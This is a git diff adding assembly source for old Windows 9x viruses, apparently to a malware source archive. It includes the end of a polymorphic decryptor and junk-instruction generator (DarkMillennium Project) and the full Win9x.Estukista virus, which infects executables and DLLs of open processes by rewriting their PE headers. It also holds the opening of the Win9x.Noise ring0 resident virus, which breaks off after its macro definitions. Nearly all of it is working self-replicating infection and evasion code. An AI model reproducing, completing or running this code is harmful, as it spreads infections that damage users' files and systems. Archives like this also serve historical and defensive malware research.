use + + ; Generate reg2, not ESP, not EBP, <> reg1 +get_reg_2: mov eax, 8 + call random_in_range + cmp al, 4 ; no ESP + jz get_reg_2 + cmp al, 5 ; no EBP + jz get_reg_2 + cmp al, byte ptr [ebp + reg_1 - Start] + jz get_reg_2 + cmp al, byte ptr [ebp + reg_key - Start] + jz get_reg_1 + mov byte ptr [ebp + reg_2 - Start], al + + ; Generate reg3, not ESP, not EBP, <> reg1, <> reg2 +get_reg_3: mov eax, 8 + call random_in_range + cmp al, 4 ; no ESP + jz get_reg_3 + cmp al, 5 ; no EBP + jz get_reg_3 + cmp al, byte ptr [ebp + reg_1 - Start] + jz get_reg_3 + cmp al, byte ptr [ebp + reg_2 - Start] + jz get_reg_3 + cmp al, byte ptr [ebp + reg_key - Start] + jz get_reg_1 + mov byte ptr [ebp + reg_3 - Start], al + + popad + ret +GenerateRegisters endp + + +; Generate 2 registers, different from the other registers used +; +GenerateFuckRegs proc + pushad +get_reg_fuck_1: + mov eax, 8 + call random_in_range + cmp al, 4 ; no ESP + jz get_reg_fuck_1 + cmp al, 5 ; no EBP + jz get_reg_fuck_1 + cmp al, byte ptr [ebp + reg_1 - Start] + jz get_reg_fuck_1 + cmp al, byte ptr [ebp + reg_2 - Start] + jz get_reg_fuck_1 + cmp al, byte ptr [ebp + reg_3 - Start] + jz get_reg_fuck_1 + cmp al, byte ptr [ebp + reg_key - Start] + jz get_reg_fuck_1 + mov byte ptr [ebp + reg_fuck_1 - Start], al + +get_reg_fuck_2: + mov eax, 15 + call random_in_range + cmp al, 7 + jg ch_FFh + cmp al, 4 ; no ESP + jz get_reg_fuck_2 + cmp al, 5 ; no EBP + jz get_reg_fuck_2 + cmp al, byte ptr [ebp + reg_1 - Start] + jz get_reg_fuck_2 + cmp al, byte ptr [ebp + reg_2 - Start] + jz get_reg_fuck_2 + cmp al, byte ptr [ebp + reg_3 - Start] + jz get_reg_fuck_2 + cmp al, byte ptr [ebp + reg_fuck_1 - Start] + jz get_reg_fuck_2 + cmp al, byte ptr [ebp + reg_key - Start] + jz get_reg_fuck_2 + mov byte ptr [ebp + reg_fuck_2 - Start], al +GenerateFuckRegs_Exit: + popad + ret + +ch_FFh: mov al, 0FFh + mov byte ptr [ebp + reg_fuck_2 - Start], al + jmp GenerateFuckRegs_Exit + +GenerateFuckRegs endp + + +; Generate MOV reg1, reg2/[reg2]/val like instructions +; EBP = location for code +; CL = reg1 +; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) +; ( in this case AH value will be ignored, no direct mem read like +; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) +; AL = type of registry to use 0 = word ( AX, BX ... ) +; 1 = dword ( EAX, EBX ... ) +; byte registers are not used in my decryptor +; AH = 0 use direct value ( EAX ... ) +; 1 use memory address from register ( [EAX], [ESI] ... ) +; EDX = use this value instead of reg2 in case CH = 0FFh +; +GenPutX1X2 proc + push eax ecx edx + + lea eax, [edi + offset GenMovType - Start] + mov [edi + MovType - Start], eax + lea eax, [edi + offset GenPushPopType - Start] + mov [edi + PushPopType - Start], eax + lea eax, [edi + offset GenXorAddType - Start] + mov [edi + XorAddType - Start], eax + lea eax, [edi + offset GenSubAddType - Start] + mov [edi + SubAddType - Start], eax + + mov eax, (offset EndPutX1X2Table - offset PutX1X2Table) / 4 + call random_in_range + mov esi, 4 + mul esi + xchg esi, eax + add esi, edi + add esi, offset PutX1X2Table - offset Start + mov ebx, dword ptr [esi] + + pop edx ecx eax + call ebx + ret + +GenPutX1X2 endp + + +; Decryptor Junk instructions +; EBP = location for junk +GenerateJunk proc + lea eax, [edi + offset GenerateOneByteJunk - Start] + mov [edi + OneByteJunk - Start], eax + lea eax, [edi + offset GenerateINTs - Start] + mov [edi + INTs - Start], eax + lea eax, [edi + offset GenNothing - Start] + mov [edi + _Nothing - Start], eax + lea eax, [edi + offset GenRndPutX1X2 - Start] + mov [edi + RndPutX1X2 - Start], eax + + mov eax, (offset EndRandomJunkTable - offset RandomJunkTable) / 4 + call random_in_range + mov esi, 4 + mul esi + xchg esi, eax + add esi, edi + add esi, offset RandomJunkTable - offset Start + mov eax, dword ptr [esi] + call eax + ret +GenerateJunk endp + + +; Generate one byte instruction, put it in [EBP] and increase EBP with 1 +; EBP = location for generated code +GenerateOneByteJunk proc + lea esi, [edi + OneByteTable - Start] ; Offset of the table + mov eax, offset EndOneByteTable - offset OneByteTable ; size of table + call random_in_range ; Must generate random numbers + add esi, eax ; Add AX ( AL ) to the offset + mov al, byte ptr [esi] ; Put selected opcode in al + xchg ebp, edi + stosb ; And store it in EDI ( points to + ; the decryptor instructions ) + xchg ebp, edi + ret +GenerateOneByteJunk endp + + +; Generate INT calls and increase edi with 2 +; EBP = location for generated code +GenerateINTs proc + lea esi, [edi + INTsTable - Start] + mov eax, offset EndINTsTable - offset INTsTable + call random_in_range + add esi, eax + mov ah, byte ptr [esi] + mov al, 0CDh + xchg ebp, edi + stosw + xchg ebp, edi + ret +GenerateINTs endp + + +; Generate NOTHING +; EBP = location for generated code +GenNothing proc + ret +GenNothing endp + + +; The same with GenPutX1X2 but with random registers and/or values +; NOTE : the registers are not the ones that are already in use +GenRndPutX1X2 proc + xchg ebp, edi + + ; random in EDX + mov eax, 0FFFFh + call random_in_range + mov dx, ax + shl edx, 10h + mov eax, 0FFFFh + call random_in_range + mov dx, ax + + ; random types + mov eax, 2 + call random_in_range + mov bl, al + mov bh, 00h ; registers like [EAX], [EBX] ... will not be generated, only EAX, EBX ... + ; 'cause it will give Access Violation in most of the cases + mov ax, bx + + call GenerateFuckRegs + mov cl, byte ptr [ebp + reg_fuck_1 - Start] + mov ch, byte ptr [ebp + reg_fuck_2 - Start] + + xchg ebp, edi + call GenPutX1X2 + ret +GenRndPutX1X2 endp + +; Generate MOV instructions +; Generate MOV reg1, reg2/[reg2]/val like instructions +; EBP = location for code +; CL = reg1 +; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) +; ( in this case AH value will be ignored, no direct mem read like +; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) +; AL = type of registry to use 0 = word ( AX, BX ... ) +; 1 = dword ( EAX, EBX ... ) +; byte registers are not used in my decryptor +; AH = 0 use direct value ( EAX ... ) +; 1 use memory address from register ( [EAX], [ESI] ... ) +; EDX = use this value instead of reg2 in case CH = 0FFh +; +GenMovType proc + xchg ebp, edi + + cmp ch, 0FFh + jne not_val + jmp use_val + +not_val: cmp ch, 04h + jnz not_esp + jmp mov_esp +not_esp: cmp ch, 05h + jnz not_ebp + jmp mov_ebp + +not_ebp: cmp al, 0 + jz word_type + cmp al, 1 + jz dword_type + jmp MovType_End + +word_type: ; reg1 = word reg + cmp ah, 1 + jz word_type1 + + ; MOV reg1, reg2 + mov ax, 8B66h + stosw + mov al, cl + mov bl, 8 + mul bl + add al, ch + add al, 0C0h + stosb + jmp MovType_End + +word_type1: ; MOV reg1, [reg2] + mov ax, 8B66h + stosw + mov al, cl + mov bl, 8 + mul bl + add al, ch + stosb + jmp MovType_End + +dword_type: ; reg1 = dword reg + cmp ah, 1 + jz dword_type1 + + ; MOV reg1, reg2 + mov al, 08Bh + stosb + mov al, cl + mov bl, 8 + mul bl + add al, ch + add al, 0C0h + stosb + jmp MovType_End + +dword_type1: ; MOV reg1, [reg2] + mov al, 8Bh + stosb + mov al, cl + mov bl, 8 + mul bl + add al, ch + stosb + jmp MovType_End + +mov_esp: ; MOV reg1, ESP/[ESP] + mov al, 8Bh + stosb + + cmp ah, 0 + jz mov_esp2 + + ; MOV reg1, [ESP] + mov al, cl + mov bl, 8 + mul bl + add al, 04h + stosb + mov al, 24h + stosb + jmp MovType_End + + ; MOV reg1, ESP +mov_esp2: mov al, cl + mov bl, 8 + mul bl + add al, 0C4h + stosb + jmp MovType_End + +mov_ebp: ; MOV reg1, EBP/[EBP] + mov al, 8Bh + stosb + cmp ah, 0 + jz mov_ebp2 + + ; MOV reg1, [EBP] + mov al, cl + mov bl, 8 + mul bl + add al, 45h + stosb + mov al, 00h + stosb + + ; MOV reg1, EBP +mov_ebp2: mov al, cl + mov bl, 8 + mul bl + add al, 0C5h + stosb + jmp MovType_End + +MovType_End: xchg ebp, edi + ret + +use_val: cmp al, 0 + jne use_val_ + + mov al, 66h + stosb + mov al, 0B8h + add al, cl + stosb + mov ax, dx + stosw + jmp MovType_End + +use_val_: mov al, 0B8h + add al, cl + stosb + mov eax, edx + stosd + jmp MovType_End + +GenMovType endp + + +; Generate PUSH reg2/[reg2]/val ... POP reg1 ( = MOV reg1, reg2/[reg2]/val ) +; EBP = location for code +; CL = reg1 (PUSH reg1) +; CH = reg2 (POP reg2) +; ( if CH = 0FFh then use value from EDX instead of reg2 ) +; ( in this case AH value will be ignored, no direct mem read like +; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) +; AL = type of registry to use 0 = word ( AX, BX ... ) +; 1 = dword ( EAX, EBX ... ) +; byte registers are not used in my decryptor +; AH = 0 use direct value ( EAX ... ) +; 1 use memory address from register ( [EAX], [ESI] ... ) +; EDX = use this value instead of reg2 in case CH = 0FFh +; +GenPushPopType proc + + xchg ebp, edi + + cmp ch, 0FFh + jnz not_val_2 + push ax + jmp use_val_2 + +not_val_2: push ax + cmp al, 0 + jnz not_wordreg + + mov al, 66h + stosb + +not_wordreg: cmp ah, 0 + jz not_ebp_ + + cmp ch, 04h + jnz not_esp_ + jmp push_esp +not_esp_: cmp ch, 05h + jnz not_ebp_ + jmp push_ebp + +not_ebp_: cmp ah, 1 + jz push_type1 + + ; PUSH reg2 + mov al, 50h + add al, ch + stosb + jmp Pop_reg1 + +push_type1: ; PUSH [reg2] + mov al, 0FFh + stosb + mov al, 30h + add al, ch + stosb + + ; POP reg1 + pop ax + cmp al, 0 + jnz not_wordreg__ + + mov al, 66h + stosb + +not_wordreg__: mov al, 58h + add al, cl + stosb + jmp PushPopType_End + +push_esp: ; PUSH [ESP] (reg2) + mov ax, 34FFh + stosw + mov al, 24h + stosb + jmp Pop_reg1 + +push_ebp: ; PUSH [EBP] (reg2) + mov ax, 75FFh + stosw + mov al, 00h + stosb + +Pop_reg1: ; POP reg1 + pop ax + cmp al, 0 + jnz not_wordreg_ + + mov al, 66h + stosb + +not_wordreg_: mov al, 58h + add al, cl + stosb + +PushPopType_End:xchg ebp, edi + ret + +use_val_2: cmp al, 0 + jnz not_wordreg___ + + ; PUSH val + mov ax, 6866h + stosw + mov ax, dx + stosw + mov ch, cl + jmp Pop_reg1 + +not_wordreg___: mov al, 68h + stosb + mov eax, edx + stosd + pop ax + mov al, 1 + mov ch, cl + push ax + jmp Pop_reg1 + +GenPushPopType endp + + +; Generate XOR reg1, reg1 ... ADD reg1, reg2/[reg2]/val ( = MOV reg1, reg2/[reg2]/val ) +; EBP = location for code +; CL = reg1 +; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) +; ( in this case AH value will be ignored, no direct mem read like +; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) +; AL = type of registry to use 0 = word ( AX, BX ... ) +; 1 = dword ( EAX, EBX ... ) +; byte registers are not used in my decryptor +; AH = 0 use direct value ( EAX ... ) +; 1 use memory address from register ( [EAX], [ESI] ... ) +; EDX = use this value instead of reg2 in case CH = 0FFh +; +GenXorAddType proc + xchg ebp, edi + + cmp ch, 0FFh + jnz not_val_3 + jmp use_val_3 + +not_val_3: push ax + cmp al, 0 + jnz not_wordreg_2 + jmp wordreg_2 + +not_wordreg_2: ; XOR reg1, reg1 + mov al, 33h + stosb + mov al, cl + mov bl, 9 + mul bl + add al, 0C0h + stosb + + pop ax + cmp ah, 0 + jz dwordreg_2 + + cmp ch, 4 ; ESP ? + jz add_esp + cmp ch, 5 ; EBP ? + jz add_ebp + + ; ADD reg1, [reg2] + mov al, 03h + stosb + mov al, cl + mov bl, 8 + mul bl + add al, ch + stosb + jmp GenXorAddType_End + + ; ADD reg1, [ESP] +add_esp: mov al, 03h + stosb + mov al, cl + mov bl, 9 + mul bl + add al, 04h + stosb + mov al, 24h + stosb + jmp GenSubAddType_End + + ; ADD reg1, [EBP] +add_ebp: mov al, 03h + stosb + mov al, cl + mov bl, 8 + mul bl + add al, 45h + stosb + jmp GenSubAddType_End + +dwordreg_2: ; ADD reg1, reg2 + mov al, 03h + stosb + mov al, cl + mov bl, 8 + mul bl + add al, 0C0h + add al, ch + stosb + jmp GenXorAddType_End + +wordreg_2: ; XOR reg1, reg1 + mov ax, 3366h + stosw + mov al, cl + mov bl, 9 + mul bl + add al, 0C0h + stosb + + pop ax + cmp ah, 0 + jz wordreg_2_ + + ; ADD reg1, [reg2] + mov ax, 0366h + stosw + mov al, cl + mov bl, 8 + mul bl + add al, ch + stosb + jmp GenXorAddType_End + +wordreg_2_: ; ADD reg1, reg2 + mov ax, 0366h + stosw + mov al, cl + mov bl, 8 + mul bl + add al, 0C0h + add al, ch + stosb + jmp GenXorAddType_End + +use_val_3: ; XOR reg1, reg1 + mov al, 33h + stosb + mov al, cl + mov bl, 9 + mul bl + add al, 0C0h + stosb + + ; ADD reg1, val + mov al, 81h + stosb + mov al, 0C0h + add al, cl + stosb + mov eax, edx + stosd + +GenXorAddType_End: + xchg ebp, edi + ret + +GenXorAddType endp + + +; Generate SUB reg1, reg1 ... ADD reg1, reg2/[reg2]/val +; EBP = location for code +; CL = reg1 +; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) +; ( in this case AH value will be ignored, no direct mem read like +; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) +; AL = type of registry to use 0 = word ( AX, BX ... ) +; 1 = dword ( EAX, EBX ... ) +; byte registers are not used in my decryptor +; AH = 0 use direct value ( EAX ... ) +; 1 use memory address from register ( [EAX], [ESI] ... ) +; EDX = use this value instead of reg2 in case CH = 0FFh +; +GenSubAddType proc + xchg ebp, edi + + cmp ch, 0FFh + jnz not_val_4 + jmp use_val_4 + +not_val_4: push ax + cmp al, 0 + jnz not_wordreg_3 + jmp wordreg_3 + +not_wordreg_3: ; SUB reg1, reg1 + mov al, 2Bh + stosb + mov al, cl + mov bl, 9 + mul bl + add al, 0C0h + stosb + + pop ax + cmp ah, 0 + jz dwordreg_3 + + cmp ch, 4 ; ESP ? + jz add_esp_ + cmp ch, 5 ; EBP ? + jz add_ebp_ + + ; ADD reg1, [reg2] + mov al, 03h + stosb + mov al, cl + mov bl, 8 + mul bl + add al, ch + stosb + jmp GenSubAddType_End + + ; ADD reg1, [ESP] +add_esp_: mov al, 03h + stosb + mov al, cl + mov bl, 9 + mul bl + add al, 04h + stosb + mov al, 24h + stosb + jmp GenSubAddType_End + + ; ADD reg1, [EBP] +add_ebp_: mov al, 03h + stosb + mov al, cl + mov bl, 8 + mul bl + add al, 45h + stosb + jmp GenSubAddType_End + +dwordreg_3: ; ADD reg1, reg2 + mov al, 03h + stosb + mov al, cl + mov bl, 8 + mul bl + add al, 0C0h + add al, ch + stosb + jmp GenSubAddType_End + +wordreg_3: ; SUB reg1, reg1 + mov ax, 2B66h + stosw + mov al, cl + mov bl, 9 + mul bl + add al, 0C0h + stosb + + pop ax + cmp ah, 0 + jz wordreg_3_ + + ; ADD reg1, [reg2] + mov ax, 0366h + stosw + mov al, cl + mov bl, 8 + mul bl + add al, ch + stosb + jmp GenSubAddType_End + +wordreg_3_: ; ADD reg1, reg2 + mov ax, 0366h + stosw + mov al, cl + mov bl, 8 + mul bl + add al, 0C0h + add al, ch + stosb + jmp GenSubAddType_End + +use_val_4: ; SUB reg1, reg1 + mov al, 2Bh + stosb + mov al, cl + mov bl, 9 + mul bl + add al, 0C0h + stosb + + ; ADD reg1, val + mov al, 81h + stosb + mov al, 0C0h + add al, cl + stosb + mov eax, edx + stosd + +GenSubAddType_End: + xchg ebp, edi + ret +GenSubAddType endp + +; Return a random number in AX, between 0 and AX-1 +random_in_range proc + push bx dx + xchg ax, bx + call get_rnd + xor dx, dx + div bx + xchg ax, dx + pop dx bx + ret +random_in_range endp + + +; Tables + +RandomJunkTable: + OneByteJunk dd offset GenerateOneByteJunk + INTs dd offset GenerateINTs + _Nothing dd offset GenNothing + RndPutX1X2 dd offset GenRndPutX1X2 +EndRandomJunkTable: + +OneByteTable: db 090h ; nop + db 0F8h ; clc + db 0F9h ; stc + db 0F5h ; cmc +; db 0CCh ; int 3h +; db 098h ; cbw +; db 099h ; cwd +EndOneByteTable: + +INTsTable: ;db 01h + db 08h + db 0Ah + db 0Bh + db 0Ch +; db 0Dh + db 0Eh + db 0Fh +; db 1Ch + db 28h + db 2Bh + db 2Ch + db 2Dh + db 70h + db 71h + db 72h + db 73h + db 74h +; db 75h + db 76h + db 77h +; those with ; before'em will generate an error (ussualy a blue screen) + +EndINTsTable: + +PutX1X2Table: + MovType dd offset GenMovType + PushPopType dd offset GenPushPopType + XorAddType dd offset GenXorAddType + SubAddType dd offset GenSubAddType +EndPutX1X2Table: + +regsTable: + reg_1 db 0 + reg_2 db 0 + reg_3 db 0 + reg_key db 0 + reg_fuck_1 db 0 + reg_fuck_2 db 0 +regsTableEnd: + +_end: + +gfx_buffer db 10Dh dup (0) +_end_2: + +w_title db 'DarkMillennium Project', 0 + + end Begin + end diff --git a/LegacyWindows/Win9x.Estukista.asm b/LegacyWindows/Win9x.Estukista.asm new file mode 100644 index 00000000..2e219bfb --- /dev/null +++ b/LegacyWindows/Win9x.Estukista.asm @@ -0,0 +1,231 @@ + +;-------------------------------- W95 ESTUKISTA BY HenKy ----------------------------- +; +;-AUTHOR: HenKy +; +;-MAIL: HenKy_@latinmail.com +; +;-ORIGIN: SPAIN +; + +; VIRUS_SIZE = 126 BYTES!!!! + + ; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!! + + ; (NOT TESTED UNDER ME) + + ; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM + + ; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES + + ; THE BFF712B9h ADDRESS IS THE CALL VINT21 + + ; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE + + ; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND + + ; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES) + + +;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING +; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST). + +; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS +; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS TOO) + +; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS +; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE) + +; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S + + +;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE) + + + +;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00  +;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57  C:\W +;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR +;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H  D + +; .... + +;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P Χ‚<  PE L +;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01  •79 ΰ ‚ +;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00  " ¨ P +;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 @  @ @ +;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00    +;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00    +;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00    +;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00   +;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dT Τ +;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00   ” +;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ΜR  +;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00  +;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0  +;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 ΐ  +;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ ΐ.idata +;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @  Δ +;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ΐ + +; .... + +;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00  Θ +;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ ΐ.bss +;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 P  P +;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ΐ +;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P P +;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 δ +;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ ΐ.rsrc +;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00     š δ +;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ΐ +;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @ @ +;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 : ~ +;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 P ΐ.data +;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00  € Έ +;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ΐ +;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @   ΰb +;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 ΰbπb   +;81621F38 08 00 00 00 00 00 00 00 00 00 40 00 D7 2B 01 00  @ Χ+ +;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b\b lb +;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41  C:\WINPROG\A +;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ΜΜΜ +;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ΄  NE Œ + +; .... + + +.586P +PMMX ; WORF... ... JEJEJE +.MODEL FLAT +LOCALS + +EXTRN ExitProcess:PROC +MIX_SIZ EQU (FILE_END - MEGAMIX) + +MACROSIZE MACRO + DB MIX_SIZ/00100 mod 10 + "0" + DB MIX_SIZ/00010 mod 10 + "0" + DB MIX_SIZ/00001 mod 10 + "0" + ENDM +.DATA + + DB 0 + + DB 'SIZE = ' + MACROSIZE + +.CODE + + +MEGAMIX: + ; EAX: EIP + ; ESI: BUFFER + + +VINT21: + DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE + DB 'H' ; HenKy ;P + XCHG EDI, EAX ; EDI: DELTA + MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG) + MOV ESI,0C1000000H ; ESI: MY DATA BUFFER + MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H + + ;EDX: POINTER TO FNAME + + ;LEA EDX,POPOPOP ; FOR DEBUG ONLY + ;JMP KAA + + MOV ECX,28000 ; LIMIT + PUSHAD + +AMIMELASUDA: + + POPAD +PORK: + INC EDX + CMP WORD PTR [EDX],':C' + JE KAA + LOOP PORK + + +WARNING: + PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :) + RET + +KAA: + PUSHAD + MOV AX, 3D02h ; open + CALL [EDI] + JC AMIMELASUDA + XCHG EBX, EAX + MOV EDX,ESI + XOR ECX,ECX + MOV CH,4H + MOV AH, 3Fh ;read + CALL [EDI] + MOV EAX, [EDX+3Ch] + ADD EAX,EDX + MOV EDI,EAX + PUSH 32 + POP ECX + + DEPOTA: + INC EDI + CMP BYTE PTR [EDI],'B'; HEHEHEHE + JE GOSTRO + JMP DEPOTA + GOSTRO: + INC EDI + PUSH EDI + MOV ESI,EBP + REP MOVSD + MOV ESI,EDI + POP EDI + SUB EDI,EDX + XCHG DWORD PTR [EAX+28H],EDI + CMP DI,1024 + JB CLOZ + ADD EDI,[EAX+34H] + XCHG DWORD PTR [ESI-MONGORE],EDI + + PUSH EBP + POP EDI + XOR EAX,EAX + PUSHAD + MOV AH, 42h + CDQ + CALL [EDI] + POPAD + MOV CH,4H + MOV AH,40H ; write + CALL [EDI] +CLOZ: + MOV AH,3EH ; close + CALL [EDI] + JMP AMIMELASUDA + +FILE_END: + + DW 0 ;-P + +MONGORE EQU 95 ; OLD_EIP + + PUSH 0 + CALL ExitProcess + +;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0 + +END MEGAMIX diff --git a/LegacyWindows/Win9x.Noise.asm b/LegacyWindows/Win9x.Noise.asm new file mode 100644 index 00000000..66488b77 --- /dev/null +++ b/LegacyWindows/Win9x.Noise.asm @@ -0,0 +1,276 @@ + +; +; άΫΫΫΫΫά άΫΫΫΫΫά άΫΫΫΫΫά +; ΫΫΫ ΫΫΫ ΫΫΫ ΫΫΫ ΫΫΫ ΫΫΫ +; Noise άάάΫΫί ίΫΫΫΫΫΫ ΫΫΫΫΫΫΫ +; Coded by Bumblebee/29a ΫΫΫάάάά άάάάΫΫΫ ΫΫΫ ΫΫΫ +; ΫΫΫΫΫΫΫ ΫΫΫΫΫΫί ΫΫΫ ΫΫΫ +; ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ +; ³ Words from the author ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +; ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ +; . I started to code an i-worm and i wanted to make something like a +; ring0 stealth routine for it. Then i realized: i did a ring0 virus heh +; The name is due the little payload it has... that does realy noise! +; That's my first ring0 virus. I don't like codin ring0, but here it is. +; That's a research spezimen. Don't expect the ultimate ring0 virus... +; Only 414 bytes, that's less than MiniR3 (aka Win95.Rinim). +; +; ΪΔΔΔΔΔΔΔΔΔΔΔΔΏ +; ³ Disclaimer ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +; ΐΔΔΔΔΔΔΔΔΔΔΔΔΩ +; . This is the source code of a VIRUS. The author is not responsabile +; of any damage that may occur due to the assembly of this file. Use +; it at your own risk. +; +; ΪΔΔΔΔΔΔΔΔΔΔΏ +; ³ Features ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +; ΐΔΔΔΔΔΔΔΔΔΔΩ +; . Ring0 resident win9x virus (thus coz the way it uses to get ring0 is +; only for win9x, not nt not w2k). +; . It infect in similar way like MiniR3 does. Uses free space in the +; PE header. That's a cavity virus. +; . All the data is INSIDE the code. Well... copyright is not inside :) +; . It infects PE files in the user buffer when a write call is done. +; That makes this virus not very efficient spreading. +; . It has a kewl sound payload. Makes echo with internal speaker for +; all disk operations ;) +; +; Greetz to Perikles for his tests ;) You're my best tester, you know... +; +; +; The way of the bee +; +.486p +locals +.model flat,STDCALL + + extrn ExitProcess:PROC + +VxDCall macro vxd,service + db 0cdh,20h + dw service + dw vxd +endm + +IFSMANAGER equ 40h + +GETHEAP equ 0dh +IFSAPIHOOK equ 67h + +VSIZE equ vEnd-vBegin +VSIZEROUND equ ((VSIZE/1024)+1)*1024 + 